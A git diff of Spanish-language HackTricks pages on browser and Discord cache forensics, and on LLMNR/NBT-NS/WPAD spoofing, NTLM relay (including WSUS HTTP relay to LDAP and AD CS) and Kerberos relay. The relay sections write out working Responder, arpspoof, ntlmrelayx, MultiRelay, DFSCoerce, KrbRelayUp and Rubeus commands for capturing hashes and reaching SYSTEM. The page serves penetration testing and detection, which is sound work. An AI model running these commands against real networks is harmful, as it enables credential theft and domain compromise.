- **Extensions.plist**: Lista de extensiones del navegador Safari. Usa `plutil` o `pluginkit` para recuperar.
- **UserNotificationPermissions.plist**: Dominios permitidos para enviar notificaciones push. Usa `plutil` para parsear.
- **LastSession.plist**: Pestañas de la última sesión. Usa `plutil` para parsear.
- **Browser’s built-in anti-phishing**: Compruébalo usando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Una respuesta de 1 indica que la función está activa.
## Opera
Los datos de Opera residen en `/Users/$USER/Library/Application Support/com.operasoftware.Opera` y comparte el formato de Chrome para historial y descargas.
Los datos de Opera residen en `/Users/$USER/Library/Application Support/com.operasoftware.Opera` y comparten el formato de Chrome para historial y descargas.
- **Browser’s built-in anti-phishing**: Verifique comprobando si `fraud_protection_enabled` en el archivo de preferencias está configurado como `true` usando `grep`.
- **Browser’s built-in anti-phishing**: Verifícalo comprobando si `fraud_protection_enabled` en el archivo Preferences está establecido en `true` usando `grep`.
Estas rutas y comandos son cruciales para acceder y comprender los datos de navegación almacenados por diferentes navegadores web.
Estas rutas y comandos son cruciales para acceder y entender los datos de navegación almacenados por los diferentes navegadores web.
## Referencias
## References
- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
- **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
- **Libro: OS X Incident Response: Scripting and Analysis By Jaron Bradley página 123**
{{#include ../../../banners/hacktricks-training.md}}

89
src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md Normal file
View File

@ -0,0 +1,89 @@
# Forense de caché de Discord (Chromium Simple Cache)
{{#include ../../../banners/hacktricks-training.md}}
Esta página resume cómo hacer triage de los artefactos de caché de Discord Desktop para recuperar archivos exfiltrados, endpoints de webhook y líneas de tiempo de actividad. Discord Desktop es una app Electron/Chromium y usa Chromium Simple Cache en disco.
## Dónde buscar (Windows/macOS/Linux)
- Windows: %AppData%\discord\Cache\Cache_Data
- macOS: ~/Library/Application Support/discord/Cache/Cache_Data
- Linux: ~/.config/discord/Cache/Cache_Data
Estructuras clave en disco dentro de Cache_Data:
- index: base de datos de índice de Simple Cache
- data_#: archivos binarios de bloques de caché que pueden contener múltiples objetos cacheados
- f_######: entradas cacheadas individuales almacenadas como archivos independientes (a menudo cuerpos más grandes)
Nota: Eliminar mensajes/canales/servidores en Discord no purga esta caché local. Los elementos cacheados a menudo permanecen y las marcas de tiempo de los archivos se alinean con la actividad del usuario, lo que permite reconstruir la línea de tiempo.
## Qué se puede recuperar
- Adjuntos exfiltrados y miniaturas obtenidas vía cdn.discordapp.com/media.discordapp.net
- Imágenes, GIFs, videos (por ejemplo, .jpg, .png, .gif, .webp, .mp4, .webm)
- URLs de webhook (https://discord.com/api/webhooks/…)
- Llamadas a la API de Discord (https://discord.com/api/vX/…)
- Útil para correlacionar actividad de beaconing/exfil y para hashear medios para matching de inteligencia
## Triage rápido (manual)
- Grep a la caché en busca de artefactos de alta señal:
- Webhook endpoints:
- Windows: findstr /S /I /C:"https://discord.com/api/webhooks/" "%AppData%\discord\Cache\Cache_Data\*"
- Linux/macOS: strings -a Cache_Data/* | grep -i "https://discord.com/api/webhooks/"
- Attachment/CDN URLs:
- strings -a Cache_Data/* | grep -Ei "https://(cdn|media)\.discord(app)?\.com/attachments/"
- Discord API calls:
- strings -a Cache_Data/* | grep -Ei "https://discord(app)?\.com/api/v[0-9]+/"
- Ordenar las entradas cacheadas por tiempo de modificación para crear una línea de tiempo rápida (mtime refleja cuando el objeto llegó a la caché):
- Windows PowerShell: Get-ChildItem "$env:AppData\discord\Cache\Cache_Data" -File -Recurse | Sort-Object LastWriteTime | Select-Object LastWriteTime, FullName
## Parsing f_* entries (cuerpo HTTP + cabeceras)
Los archivos que comienzan con f_ contienen cabeceras de respuesta HTTP seguidas del cuerpo. El bloque de cabeceras normalmente termina con \r\n\r\n. Cabeceras de respuesta útiles incluyen:
- Content-Type: Para inferir el tipo de medio
- Content-Location or X-Original-URL: URL remota original para preview/correlación
- Content-Encoding: Puede ser gzip/deflate/br (Brotli)
Se pueden extraer medios separando las cabeceras del cuerpo y opcionalmente descomprimiendo según Content-Encoding. El sniffing por magic-bytes es útil cuando falta Content-Type.
## Automated DFIR: Discord Forensic Suite (CLI/GUI)
- Repo: https://github.com/jwdfir/discord_cache_parser
- Function: Escanea recursivamente la carpeta de caché de Discord, encuentra webhook/API/attachment URLs, parses f_* bodies, optionally carves media, y genera informes HTML + CSV de timeline con hashes SHA‑256.
Ejemplo de uso CLI:
```bash
# Acquire cache (copy directory for offline parsing), then run:
python3 discord_forensic_suite_cli \
--cache "%AppData%\discord\Cache\Cache_Data" \
--outdir C:\IR\discord-cache \
--output discord_cache_report \
--format both \
--timeline \
--extra \
--carve \
--verbose
```
Opciones clave:
- --cache: Ruta a Cache_Data
- --format html|csv|both
- --timeline: Emitir un timeline CSV ordenado (por tiempo de modificación - mtime)
- --extra: También escanea las caches hermanas Code Cache y GPUCache
- --carve: Extrae medios desde bytes crudos cerca de coincidencias regex (imágenes/video)
- Output: reporte HTML, reporte CSV, timeline CSV, y una carpeta media con archivos extraídos/carved
## Consejos para analistas
- Correlaciona el tiempo de modificación (mtime) de los archivos f_* y data_* con las ventanas de actividad del usuario/atacante para reconstruir una cronología.
- Calcula el hash de los medios recuperados (SHA-256) y compáralos con datasets known-bad o de exfil.
- Las URLs de webhooks extraídas pueden probarse para verificar su liveness o rotarse; considera añadirlas a blocklists y retro-hunting proxies.
- La cache persiste después del “wiping” en el lado del servidor. Si es posible adquirirla, recopila todo el directorio Cache y las caches hermanas relacionadas (Code Cache, GPUCache).
## Referencias
- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
- [Discord Forensic Suite (CLI/GUI)](https://github.com/jwdfir/discord_cache_parser)
- [Discord Webhooks – Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
{{#include ../../../banners/hacktricks-training.md}}

260
src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
View File

@ -1,75 +1,75 @@
# Spoofing LLMNR, NBT-NS, mDNS/DNS y WPAD y Ataques de Relay
# Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
{{#include ../../banners/hacktricks-training.md}}
## Protocolos de Red
## Network Protocols
### Protocolos de Resolución de Host Local
### Local Host Resolution Protocols
- **LLMNR, NBT-NS y mDNS**:
- Microsoft y otros sistemas operativos utilizan LLMNR y NBT-NS para la resolución de nombres local cuando DNS falla. De manera similar, los sistemas de Apple y Linux utilizan mDNS.
- Estos protocolos son susceptibles a la interceptación y el spoofing debido a su naturaleza no autenticada y de difusión sobre UDP.
- [Responder](https://github.com/lgandx/Responder) se puede utilizar para suplantar servicios enviando respuestas falsificadas a hosts que consultan estos protocolos.
- Más información sobre la suplantación de servicios utilizando Responder se puede encontrar [aquí](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
- **LLMNR, NBT-NS, and mDNS**:
- Microsoft y otros sistemas operativos usan LLMNR y NBT-NS para la resolución de nombres local cuando DNS falla. De forma similar, los sistemas Apple y Linux usan mDNS.
- Estos protocolos son susceptibles a la intercepción y spoofing debido a su naturaleza no autenticada y broadcast sobre UDP.
- [Responder](https://github.com/lgandx/Responder) puede usarse para suplantar servicios enviando respuestas forjadas a hosts que realizan consultas a estos protocolos.
- Más información sobre la suplantación de servicios usando Responder puede encontrarse [here](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### Protocolo de Descubrimiento Automático de Proxy Web (WPAD)
### Web Proxy Auto-Discovery Protocol (WPAD)
- WPAD permite a los navegadores descubrir automáticamente la configuración del proxy.
- El descubrimiento se facilita a través de DHCP, DNS, o retrocediendo a LLMNR y NBT-NS si DNS falla.
- WPAD permite a los navegadores descubrir automáticamente la configuración de proxy.
- El descubrimiento se facilita vía DHCP, DNS, o como fallback a LLMNR y NBT-NS si DNS falla.
- Responder puede automatizar ataques WPAD, dirigiendo a los clientes a servidores WPAD maliciosos.
### Responder para el Envenenamiento de Protocolos
### Responder for Protocol Poisoning
- **Responder** es una herramienta utilizada para envenenar consultas LLMNR, NBT-NS y mDNS, respondiendo selectivamente según los tipos de consulta, apuntando principalmente a servicios SMB.
- Viene preinstalado en Kali Linux, configurable en `/etc/responder/Responder.conf`.
- Responder muestra los hashes capturados en la pantalla y los guarda en el directorio `/usr/share/responder/logs`.
- Responder muestra los hashes capturados en pantalla y los guarda en el directorio `/usr/share/responder/logs`.
- Soporta tanto IPv4 como IPv6.
- La versión de Windows de Responder está disponible [aquí](https://github.com/lgandx/Responder-Windows).
- La versión para Windows de Responder está disponible [here](https://github.com/lgandx/Responder-Windows).
#### Ejecutando Responder
#### Running Responder
- Para ejecutar Responder con la configuración predeterminada: `responder -I <Interface>`
- Para un sondeo más agresivo (con posibles efectos secundarios): `responder -I <Interface> -P -r -v`
- Técnicas para capturar desafíos/respuestas NTLMv1 para un cracking más fácil: `responder -I <Interface> --lm --disable-ess`
- La suplantación de WPAD se puede activar con: `responder -I <Interface> --wpad`
- Las solicitudes de NetBIOS se pueden resolver a la IP del atacante, y se puede configurar un proxy de autenticación: `responder.py -I <interface> -Pv`
- Para ejecutar Responder con la configuración por defecto: `responder -I <Interface>`
- Para sondeos más agresivos (con posibles efectos secundarios): `responder -I <Interface> -P -r -v`
- Técnicas para capturar challenges/responses NTLMv1 para un cracking más sencillo: `responder -I <Interface> --lm --disable-ess`
- La suplantación WPAD puede activarse con: `responder -I <Interface> --wpad`
- Las peticiones NetBIOS pueden resolverse a la IP del atacante, y se puede configurar un proxy de autenticación: `responder.py -I <interface> -Pv`
### Envenenamiento DHCP con Responder
### DHCP Poisoning with Responder
- Falsificar respuestas DHCP puede envenenar permanentemente la información de enrutamiento de una víctima, ofreciendo una alternativa más sigilosa al envenenamiento ARP.
- Requiere un conocimiento preciso de la configuración de la red objetivo.
- El spoofing de respuestas DHCP puede envenenar permanentemente la información de enrutamiento de una víctima, ofreciendo una alternativa más sigilosa al ARP poisoning.
- Requiere conocimiento preciso de la configuración de la red objetivo.
- Ejecutando el ataque: `./Responder.py -I eth0 -Pdv`
- Este método puede capturar efectivamente hashes NTLMv1/2, pero requiere un manejo cuidadoso para evitar la interrupción de la red.
- Este método puede capturar efectivamente hashes NTLMv1/2, pero requiere manejo cuidadoso para evitar la interrupción de la red.
### Capturando Credenciales con Responder
### Capturing Credentials with Responder
- Responder suplantará servicios utilizando los protocolos mencionados anteriormente, capturando credenciales (generalmente NTLMv2 Challenge/Response) cuando un usuario intente autenticarse contra los servicios falsificados.
- Se pueden hacer intentos para degradar a NetNTLMv1 o deshabilitar ESS para un cracking de credenciales más fácil.
- Responder se hará pasar por servicios usando los protocolos mencionados arriba, capturando credenciales (usualmente NTLMv2 Challenge/Response) cuando un usuario intenta autenticarse contra los servicios suplantados.
- Se pueden intentar degradaciones a NetNTLMv1 o deshabilitar ESS para facilitar el cracking de credenciales.
Es crucial notar que el uso de estas técnicas debe hacerse de manera legal y ética, asegurando la autorización adecuada y evitando interrupciones o accesos no autorizados.
Es crucial señalar que emplear estas técnicas debe hacerse de forma legal y ética, asegurando la autorización adecuada y evitando la interrupción o el acceso no autorizado.
## Inveigh
Inveigh es una herramienta para testers de penetración y equipos rojos, diseñada para sistemas Windows. Ofrece funcionalidades similares a Responder, realizando ataques de spoofing y man-in-the-middle. La herramienta ha evolucionado de un script de PowerShell a un binario en C#, con [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) y [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) como las versiones principales. Parámetros e instrucciones detalladas se pueden encontrar en la [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
Inveigh es una herramienta para penetration testers y red teamers, diseñada para sistemas Windows. Ofrece funcionalidades similares a Responder, realizando spoofing y ataques man-in-the-middle. La herramienta ha evolucionado de un script PowerShell a un binario en C#, con [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) y [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) como las principales versiones. Parámetros detallados e instrucciones pueden encontrarse en la [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
Inveigh se puede operar a través de PowerShell:
Inveigh puede operarse mediante PowerShell:
```bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
```
O ejecutado como un binario de C#:
O ejecutado como un binario C#:
```bash
Inveigh.exe
```
### NTLM Relay Attack
Este ataque aprovecha las sesiones de autenticación SMB para acceder a una máquina objetivo, otorgando un shell del sistema si tiene éxito. Los requisitos clave incluyen:
Este ataque aprovecha las sesiones de autenticación SMB para acceder a una máquina objetivo, otorgando una shell de sistema si tiene éxito. Los prerrequisitos clave incluyen:
- El usuario que se autentica debe tener acceso de Administrador Local en el host retransmitido.
- La firma SMB debe estar deshabilitada.
- El usuario que se autentica debe tener acceso de Local Admin en el host al que se relaya.
- SMB signing debe estar deshabilitado.
#### 445 Port Forwarding and Tunneling
#### Reenvío y tunelización del puerto 445
En escenarios donde la introducción directa a la red no es factible, el tráfico en el puerto 445 necesita ser reenviado y tunelizado. Herramientas como [**PortBender**](https://github.com/praetorian-inc/PortBender) ayudan a redirigir el tráfico del puerto 445 a otro puerto, lo cual es esencial cuando se tiene acceso de administrador local para la carga de controladores.
En escenarios donde la introducción directa en la red no es factible, el tráfico en el puerto 445 necesita ser reenviado y tunelizado. Herramientas como [**PortBender**](https://github.com/praetorian-inc/PortBender) ayudan a redirigir el tráfico del puerto 445 a otro puerto, lo cual es esencial cuando se dispone de acceso de Local Admin para cargar drivers.
PortBender setup and operation in Cobalt Strike:
```bash
@ -87,17 +87,17 @@ beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
```
### Otras Herramientas para el Ataque de Relevo NTLM
### Otras herramientas para NTLM Relay Attack
- **Metasploit**: Configurado con proxies, detalles de host locales y remotos.
- **smbrelayx**: Un script de Python para relajar sesiones SMB y ejecutar comandos o desplegar puertas traseras.
- **MultiRelay**: Una herramienta del conjunto Responder para relajar usuarios específicos o todos los usuarios, ejecutar comandos o volcar hashes.
- **Metasploit**: Configurar con proxies, detalles de host local y remoto.
- **smbrelayx**: Un script Python para relaying sesiones SMB y ejecutar comandos o desplegar backdoors.
- **MultiRelay**: Una herramienta de la suite Responder para relay de usuarios específicos o de todos los usuarios, ejecutar comandos o dump hashes.
Cada herramienta se puede configurar para operar a través de un proxy SOCKS si es necesario, lo que permite ataques incluso con acceso indirecto a la red.
Cada herramienta puede configurarse para operar a través de un SOCKS proxy si es necesario, habilitando ataques incluso con acceso de red indirecto.
### Operación de MultiRelay
MultiRelay se ejecuta desde el _**/usr/share/responder/tools**_ directorio, apuntando a IPs o usuarios específicos.
MultiRelay se ejecuta desde el _**/usr/share/responder/tools**_ directory, apuntando a IPs o usuarios específicos.
```bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
@ -105,57 +105,119 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
```
Estas herramientas y técnicas forman un conjunto integral para llevar a cabo ataques de NTLM Relay en varios entornos de red.
Estas herramientas y técnicas forman un conjunto completo para llevar a cabo NTLM Relay attacks en varios entornos de red.
### Forzar inicios de sesión NTLM
### Abusing WSUS HTTP (8530) for NTLM Relay to LDAP/SMB/AD CS (ESC8)
Los clientes WSUS se autentican con su servidor de actualizaciones usando NTLM sobre HTTP (8530) o HTTPS (8531). Cuando HTTP está habilitado, las comprobaciones periódicas de los clientes pueden ser coaccionadas o interceptadas en el segmento local y relayeadas con ntlmrelayx a endpoints LDAP/LDAPS/SMB o AD CS HTTP (ESC8) sin cracking de hashes. Esto se mezcla con el tráfico normal de actualizaciones y con frecuencia produce autenticaciones de cuentas de equipo (HOST$).
What to look for
- Configuración de GPO/registro en HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate y ...\WindowsUpdate\AU:
- WUServer (por ejemplo, http://wsus.domain.local:8530)
- WUStatusServer (URL de reporting)
- UseWUServer (1 = WSUS; 0 = Microsoft Update)
- DetectionFrequencyEnabled y DetectionFrequency (horas)
- Endpoints SOAP de WSUS usados por clientes sobre HTTP:
- /ClientWebService/client.asmx (approvals)
- /ReportingWebService/reportingwebservice.asmx (status)
- Puertos por defecto: 8530/tcp HTTP, 8531/tcp HTTPS
Reconnaissance
- Unauthenticated
- Scan for listeners: nmap -sSVC -Pn --open -p 8530,8531 -iL <hosts>
- Sniff HTTP WSUS traffic via L2 MITM and log active clients/endpoints with wsusniff.py (HTTP only unless you can make clients trust your TLS cert).
- Authenticated
- Parse SYSVOL GPOs for WSUS keys with MANSPIDER + regpol (wsuspider.sh wrapper summarises WUServer/WUStatusServer/UseWUServer).
- Query endpoints at scale from hosts (NetExec) or locally:
nxc smb <ip> -u <user> -p <pass> -M reg-query -o PATH="HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate" KEY="WUServer"
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
End-to-end HTTP relay steps
1) Position for MITM (same L2) so a client resolves the WSUS server to you (ARP/DNS poisoning, Bettercap, mitm6, etc.). Example with arpspoof:
arpspoof -i <iface> -t <wsus_client_ip> <wsus_server_ip>
2) Redirect port 8530 to your relay listener (optional, convenient):
iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530
iptables -t nat -L PREROUTING --line-numbers
3) Start ntlmrelayx with the HTTP listener (requires Impacket support for HTTP listener; see PRs below):
ntlmrelayx.py -t ldap://<DC> -smb2support -socks --keep-relaying --http-port 8530
Other common targets:
- Relay to SMB (if signing off) for exec/dump: -t smb://<host>
- Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://<DC>
- Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT:
ntlmrelayx.py --http-port 8530 -t http://<CA>/certsrv/certfnsh.asp --adcs --no-http-server
For deeper AD CS abuse paths and tooling, see the AD CS page:
{{#ref}}
../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
{{#endref}}
4) Trigger a client check-in or wait for schedule. From a client:
wuauclt.exe /detectnow
or use the Windows Update UI (Check for updates).
5) Use the authenticated SOCKS sessions (if -socks) or direct relay results for post-exploitation (LDAP changes, SMB ops, or AD CS certificate issuance for later authentication).
HTTPS constraint (8531)
- La intercepción pasiva de WSUS sobre HTTPS es inefectiva a menos que los clientes confíen en tu certificado. Sin un certificado de confianza u otra ruptura de TLS, el handshake NTLM no puede ser capturado/relayed desde el tráfico WSUS HTTPS.
Notes
- WSUS fue anunciado como deprecated pero sigue ampliamente desplegado; HTTP (8530) aún es común en muchos entornos.
- Helpers útiles: wsusniff.py (observar check-ins WSUS HTTP), wsuspider.sh (enumerar WUServer/WUStatusServer desde GPOs), NetExec reg-query a escala.
- Impacket restauró el soporte de HTTP listener para ntlmrelayx en PR #2034 (originalmente añadido en PR #913).
### Force NTLM Logins
En Windows puedes ser capaz de forzar que algunas cuentas privilegiadas se autentiquen a máquinas arbitrarias. Lee la siguiente página para aprender cómo:
En Windows, **puedes ser capaz de forzar a algunas cuentas privilegiadas a autenticarse en máquinas arbitrarias**. Lee la siguiente página para aprender cómo:
{{#ref}}
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
{{#endref}}
## Ataque de Kerberos Relay
## Kerberos Relay attack
Un **ataque de Kerberos relay** roba un **ticket AP-REQ** de un servicio y lo reutiliza contra un segundo servicio que comparte la **misma clave de cuenta de computadora** (porque ambos SPNs están en la misma cuenta de máquina `$`). Esto funciona a pesar de que las **clases de servicio de los SPNs difieren** (por ejemplo, `CIFS/` → `LDAP/`) porque la *clave* que desencripta el ticket es el hash NT de la máquina, no la cadena SPN en sí, y la cadena SPN no es parte de la firma.
A **Kerberos relay attack** roba un ticket **AP-REQ** de un servicio y lo reutiliza contra un segundo servicio que comparte la **misma clave de cuenta de equipo** (porque ambos SPN están en la misma cuenta de máquina `$`). Esto funciona aunque las clases de servicio de los SPN difieran (p. ej. `CIFS/` → `LDAP/`) porque la *clave* que descifra el ticket es el NT hash de la máquina, no la cadena SPN en sí y la cadena SPN no forma parte de la firma.
A diferencia del relay de NTLM, el salto está limitado a la *misma máquina*, pero, si apuntas a un protocolo que te permite escribir en LDAP, puedes encadenar en **Delegación Constrainida Basada en Recursos (RBCD)** o **inscripción de AD CS** y obtener **NT AUTHORITY\SYSTEM** en un solo intento.
Unlike NTLM relay, the hop is limited to the *same host* but, if you target a protocol that lets you write to LDAP, you can chain into **Resource-Based Constrained Delegation (RBCD)** or **AD CS enrollment** and pop **NT AUTHORITY\SYSTEM** in a single shot.
Para información detallada sobre este ataque, consulta:
For detailed info about this attack check:
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
- 1. **Conceptos básicos de Kerberos**
- 1. **Kerberos basics**
| Token | Propósito | Relevancia del relay |
|-------|-----------|---------------------|
| **TGT / AS-REQ ↔ REP** | Prueba al usuario ante el KDC | intocable |
| **Ticket de servicio / TGS-REQ ↔ REP** | Vinculado a un **SPN**; encriptado con la clave del propietario del SPN | intercambiable si los SPNs comparten cuenta |
| **AP-REQ** | El cliente envía `TGS` al servicio | **lo que robamos y reproducimos** |
| Token | Propósito | Relevancia para relay |
|-------|-----------|-----------------------|
| **TGT / AS-REQ ↔ REP** | Prueba la identidad del usuario ante el KDC | sin cambios |
| **Service ticket / TGS-REQ ↔ REP** | Vinculado a un **SPN**; cifrado con la clave del propietario del SPN | intercambiable si los SPN comparten cuenta |
| **AP-REQ** | El cliente envía el `TGS` al servicio | **lo que robamos y reusamos** |
* Los tickets están encriptados con la **clave derivada de la contraseña de la cuenta que posee el SPN**.
* El **Autenticador** dentro del AP-REQ tiene una marca de tiempo de 5 minutos; la reproducción dentro de esa ventana es válida hasta que la caché del servicio vea un duplicado.
* Windows rara vez verifica si la cadena SPN en el ticket coincide con el servicio que tocas, por lo que un ticket para `CIFS/HOST` normalmente se desencripta bien en `LDAP/HOST`.
* Los tickets están cifrados con la **clave derivada de la contraseña de la cuenta que posee el SPN**.
* El **Authenticator** dentro del AP-REQ tiene una marca temporal de 5 minutos; el replay dentro de esa ventana es válido hasta que la caché del servicio detecte un duplicado.
* Windows raramente verifica si la cadena SPN en el ticket coincide con el servicio al que apuntas, por lo que un ticket para `CIFS/HOST` normalmente se descifra bien en `LDAP/HOST`.
- 2. **Lo que debe ser cierto para relayar Kerberos**
- 2. **Qué debe cumplirse para relay Kerberos**
1. **Clave compartida:** los SPNs de origen y destino pertenecen a la misma cuenta de computadora (predeterminado en servidores Windows).
2. **Sin protección de canal:** SMB/LDAP sin firma y EPA desactivado para HTTP/LDAPS.
3. **Puedes interceptar o coaccionar la autenticación:** veneno LLMNR/NBNS, suplantación DNS, **PetitPotam / DFSCoerce RPC**, AuthIP falso, DCOM malicioso, etc.
4. **Fuente del ticket no utilizada previamente:** ganas la carrera antes de que el paquete real llegue o lo bloqueas por completo; de lo contrario, la caché de reproducción del servidor activa el Evento 4649.
5. Necesitas poder realizar un **MitM en la comunicación**, tal vez siendo parte del grupo DNSAmins para modificar el DNS del dominio o poder cambiar el archivo HOST de la víctima.
1. **Shared key:** los SPN de origen y destino pertenecen a la misma cuenta de equipo (por defecto en servidores Windows).
2. **No channel protection:** SMB/LDAP signing deshabilitado y EPA desactivado para HTTP/LDAPS.
3. **Puedes interceptar o coaccionar la autenticación:** LLMNR/NBNS poison, DNS spoof, **PetitPotam / DFSCoerce RPC**, fake AuthIP, rogue DCOM, etc..
4. **La fuente del ticket no debe estar ya usada:** ganas la carrera antes de que llegue el paquete real o lo bloqueas por completo; de lo contrario la caché de replay del servidor lanza el Event 4649.
5. Necesitas de alguna manera poder realizar un **MitM en la comunicación**, quizá formando parte del grupo DNSAmins para modificar el DNS del dominio o pudiendo cambiar el HOST file de la víctima.
### Pasos de Kerberos Relay
### Kerberos Relay Steps
- 3.1 **Reconocer el host**
- 3.1 **Recon the host**
```powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
```
- 3.2 **Iniciar el oyente de relay**
- 3.2 **Inicia el relay listener**
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
```powershell
@ -164,18 +226,18 @@ Select Name,servicePrincipalName
```
`KrbRelayUp` envuelve **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** en un solo binario.
- 3.3 **Forzar la autenticación de Kerberos**
- 3.3 **Coerce Kerberos auth**
```powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
```
DFSCoerce hace que el DC nos envíe un ticket de Kerberos `CIFS/DC01`.
DFSCoerce hace que el DC nos envíe un ticket Kerberos `CIFS/DC01`.
- 3.4 **Reenviar el AP-REQ**
- 3.4 **Relay the AP-REQ**
KrbRelay extrae el blob GSS de SMB, lo reempaqueta en un enlace LDAP y lo reenvía a `ldap://DC01`—la autenticación tiene éxito porque la **misma clave** lo desencripta.
KrbRelay extrae el blob GSS de SMB, lo reempaqueta en un bind LDAP y lo reenvía a `ldap://DC01`—la autenticación tiene éxito porque la **misma clave** lo descifra.
- 3.5 **Abusar de LDAP ➜ RBCD ➜ SYSTEM**
- 3.5 **Abuse LDAP ➜ RBCD ➜ SYSTEM**
```powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
@ -183,51 +245,59 @@ KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
```
You now own **NT AUTHORITY\SYSTEM**.
Ahora posees **NT AUTHORITY\SYSTEM**.
### **Más rutas que vale la pena conocer**
| Vector | Truco | Por qué es importante |
| Vector | Técnica | Por qué importa |
|--------|-------|----------------|
| **AuthIP / IPSec** | Servidor falso envía un **payload GSS-ID** con cualquier SPN; el cliente construye un AP-REQ directamente hacia ti | Funciona incluso a través de subredes; credenciales de máquina por defecto |
| **DCOM / MSRPC** | Resolutor OXID malicioso obliga al cliente a autenticarse a un SPN y puerto arbitrarios | Escalación de privilegios *local* pura; elude el firewall |
| **AD CS Web Enroll** | Reenvía el ticket de máquina a `HTTP/CA` y obtén un certificado, luego **PKINIT** para acuñar TGTs | Elude las defensas de firma LDAP |
| **Credenciales en sombra** | Escribe `msDS-KeyCredentialLink`, luego PKINIT con un par de claves falsificado | No es necesario agregar una cuenta de computadora |
| **AuthIP / IPSec** | Un servidor falso envía un **GSS-ID payload** con cualquier SPN; el cliente construye un AP-REQ directamente hacia ti | Funciona incluso entre subredes; machine creds por defecto |
| **DCOM / MSRPC** | Un OXID resolver malicioso fuerza al cliente a autenticarse a un SPN y puerto arbitrarios | Priv-esc *local* puro; evita el firewall |
| **AD CS Web Enroll** | Relevar el ticket de la máquina a `HTTP/CA` y obtener un cert, luego **PKINIT** para crear TGTs | Evita las defensas de firmado LDAP |
| **Shadow Credentials** | Escribir `msDS-KeyCredentialLink`, luego PKINIT con par de claves forjado | No hace falta añadir una cuenta de equipo |
### **Solución de problemas**
### **Resolución de problemas**
| Error | Significado | Solución |
|-------|-------------|----------|
| `KRB_AP_ERR_MODIFIED` | Clave del ticket ≠ clave del objetivo | Host/SPN incorrecto |
| `KRB_AP_ERR_SKEW` | Reloj > 5 min de desfase | Sincroniza el tiempo o usa `w32tm` |
| Fallo de enlace LDAP | Firma aplicada | Usa la ruta de AD CS o desactiva la firma |
| Spam de Evento 4649 | El servicio vio un Autenticador duplicado | bloquea o compite con el paquete original |
|-------|---------|-----|
| `KRB_AP_ERR_MODIFIED` | La clave del ticket ≠ la clave del objetivo | Host/SPN incorrecto |
| `KRB_AP_ERR_SKEW` | Desfase de reloj > 5 min | Sincronizar la hora o usar `w32tm` |
| LDAP bind fails | Se requiere firma | Usar la ruta AD CS o deshabilitar la firma |
| Event 4649 spam | El servicio detectó un Authenticator duplicado | bloquear o competir (race) con el paquete original |
### **Detección**
* Aumento en **Evento 4769** para `CIFS/`, `HTTP/`, `LDAP/` desde la misma fuente en segundos.
* **Evento 4649** en el servicio indica que se detectó una repetición.
* Inicio de sesión Kerberos desde **127.0.0.1** (reenvío a SCM local) es altamente sospechoso—mapea a través de la regla Sigma en la documentación de KrbRelayUp.
* Observa cambios en los atributos `msDS-AllowedToActOnBehalfOfOtherIdentity` o `msDS-KeyCredentialLink`.
* Aumento de **Event 4769** para `CIFS/`, `HTTP/`, `LDAP/` desde la misma fuente en cuestión de segundos.
* **Event 4649** en el servicio indica que se detectó un replay.
